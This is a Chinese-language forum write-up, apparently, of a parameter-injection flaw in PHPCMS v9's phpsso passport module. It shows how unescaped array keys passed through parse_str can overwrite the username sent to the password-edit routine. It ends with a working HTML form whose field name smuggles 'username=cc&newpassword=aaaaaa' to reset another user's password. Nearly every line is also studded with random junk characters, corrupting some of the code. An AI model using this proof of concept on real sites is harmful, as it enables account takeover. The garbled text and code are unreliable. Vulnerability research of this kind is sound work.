提到的通行证的代码:
; U9 a& i1 f: n& Q' @8 z1 ~# j7 C3 f
+ a8 c2 i, o8 L) J: `) ~parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);9 Z0 W) v' G% c* b- P
, {4 I* O" Y5 T, T2 v& w: {4 ?9 ?在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。. `: h+ E& I3 O6 h6 U
! P$ j! i+ X( x- I: y/ |我把它留给了你们。
( {6 g' _$ [# R9 b" ?不知道你们发现了它没有。- l' l) ~1 @: x5 u- s: c- B( V4 \! j* f
, O2 j3 D6 Y# l% b9 N' r
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
+ N9 G) F( l3 K. ]* }$ d
4 m) d" I# o4 |+ U所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
+ u( c# z7 k7 Q5 \/ y. i7 _ S% Z8 D4 A2 g
也就是! ?* O% E$ i! t2 ~8 M- z( ^! w
9 k1 H" T( P, V5 s
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
6 n% @! L6 Y9 ^
" z1 I$ ^7 F1 i- s; F8 O* ~要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。0 J, v2 {/ g- G h5 s" q# u
0 U1 W E8 {5 k2 X0 E
# M0 H5 d/ o' `! a) { S0 B其实我们有这样的机会,看看代码,如下:
& X- q0 b8 T9 U+ |) j- ^' ?+ [$ A* o. l9 {6 l
% O; p" L8 U+ y( i( |public function auth_data($data) {" e0 |6 w# i F' ^& X& Z
$s = $sep = '';
4 v# j0 u2 V# Q, p. [/ V; _ foreach($data as $k => $v) { q4 P9 }; b' ^! w
if(is_array($v)) {/ \: E8 G0 h8 \7 F
$s2 = $sep2 = '';7 q `% m4 }9 I8 R
foreach($v as $k2 => $v2) {4 M' M8 [, ?3 a, M0 m" O
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
4 l$ } f; c/ d# c- X $sep2 = '&';
9 r7 U2 _7 _. d( B }
% @+ v) M' H0 _. X( N; d $s .= $sep.$s2;
3 O$ U T3 k$ l! l Z( T1 b } else {$ ^, |8 U8 y, t: b. l/ D
$s .= "$sep$k=".$this->_ps_stripslashes($v);
; b: j, Q7 d9 P$ Z+ f }
: `! } V! q- O7 O* r2 y3 p9 P' y% \, \2 { $sep = '&';, _8 V, ? _0 n. ^4 m
}: l/ J/ y: j7 Z* r9 q8 M4 W
8 ?" f( Y- p* ^3 k2 k G
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
5 ?+ v: {1 s. A6 N. I3 | return $auth_s;
- J/ g: `" x+ {& ^3 I }3 J# r$ J5 y1 t% @2 N
/ \4 n6 S+ D) K: g. g. h' W; e
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
8 c# e' a, e& I1 [& B5 E/ Q- Y6 z6 L) o; t' S6 q
举个例子
3 R v( d$ x, I- I5 G$ w- Q: I4 v% a* ~) c
$a[aaa=a&bbb] = 'a';
: n7 `0 R4 J+ X5 v; o4 y$ {7 M* g& w+ @( P& D
会变成aaa=a&bbb=a+ z2 l: |1 ]* w% N
q# d/ @6 s. p1 K. Y. K4 Y& W
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。. D5 a; E1 c+ B( c! P
# ?2 e' {; ~+ F/ `这个时候,我们可以再去看一个函数。, t: n5 ?7 n/ B6 [
3 Q9 |- F4 ]* S2 V
就在这个文件内:7 S; u) u+ d" w; u$ d/ f
+ d. D% i: ~7 x' r
% y2 B+ O9 J, M) f! Gpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {. D9 t b Y; n2 h. z2 y V3 R, S" a3 s7 L
if($email && !$this->_is_email($email)) {
4 q8 s7 l2 f! V z( h6 ]$ H+ L return -4;
, `. b3 k. N" b! P }( U' @) i, p, U: R: ^( o8 i
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));2 e0 ?% d' N' [& ]; X' {) N& x
}. F. x" K6 c1 U' _3 t$ M
# w3 W4 J; b D6 |3 J
这是向通行证发了这样一个请求。5 L' K8 U6 I3 } T
, i5 O# q9 z2 K
我们再跟到通信证代码里去看看,就会有所发现。$ [% W5 }+ Z/ [& ]# s5 Z5 t0 S
0 l* a0 }; p7 M2 d3 V5 I6 o
d% b: D, c+ K2 Z$ |; O. r+ gpublic function edit() {
9 R- w A5 X1 `9 o1 [ Q//能省就省,太长了不是吗?0 g. y) F: L9 g- B3 w1 I3 f8 N( m
, \# f; v' [% k/ N. cif($this->username) {
8 _. r; d) U9 W0 d3 V+ B2 w. Q$ C) F//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
9 x% P. T0 n- Z/ U# t* }8 [ $res = $this->db->update($data, array('username'=>$this->username));) @- n; y/ R2 N( K
} else {5 w8 U+ S$ z* a k$ H/ u1 F
file_put_contents('typeb.txt',print_r($data,1).$this->uid);5 n; G0 D) f& L6 d
$res = $this->db->update($data, array('uid'=>$this->uid));9 \& Z* n( s, B; x* [
}
2 L. c+ b% g8 D& ?/ j7 H M+ ?: p) f1 L- I O k% u
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:6 |& V( ?# @. V! n* a8 \ P
( m9 n: v/ L7 N1 k0 L/ i, q9 e
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
0 N% L3 ]+ {7 [) [& d
+ M7 B7 W5 @5 l. n很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。! O& x) {% d; s j: c
6 R# g0 T" m; X/ H我当然找到了:4 r: p3 f$ k$ Q8 n
phpcms9/phpcms/modules/member/index.php
7 }; K4 Q ]3 L3 t3 Q, ?* |
, x$ e# V, Y; v! i$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
g+ [9 R2 d) r- L% Q/ S W( u& {, }- P, M! J: n4 z5 Q. H- G* H
然后就没有然后了。
! B3 t& ^3 H- f% X0 w1 G7 l
/ [' Z2 p0 n8 H<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">3 M2 m9 B% ?5 A. ?( V5 J0 i
<table width="100%" cellspacing="0" class="table_form">
% y) ]8 E5 _* S6 E <tr>' V* U1 m6 T) b" o" I4 E% u
<th width="80">邮箱:</th>
; I2 C7 _ `) c8 K) c# [ <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
, W; V# D5 o9 D K </tr>0 t ]& }/ J# h$ E H
<tr>
8 ^- h0 r+ D7 ^ <th width="80">原密码:</th>
. D- t, F" t" A+ [# c+ a/ { <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>! e! c- I* i7 Q1 s/ S
</tr>
: g; r& b* u% t/ C' X4 p- C <tr>
- r9 K2 Z: w0 O <th>新密码:</th>$ ~; C7 O5 a+ u/ d# ^
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
) t I" x d6 S5 I </tr>1 m" ]# }3 G- g8 k. o
<th></th>' l% \ ^0 F. o3 B) W4 b8 A1 M7 i
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>0 g, }) ]7 Q3 o5 |, v* B5 q8 x7 f
</tr>
( d4 \4 J: | ?/ B [$ X* a </table>
" q d9 D7 D) v: }( w- e
# ]" I. X% K; H2 y% A( j
$ x; T; f1 I v- W& B/ } </form>
% Q n2 A$ A3 X% e+ A" e- o |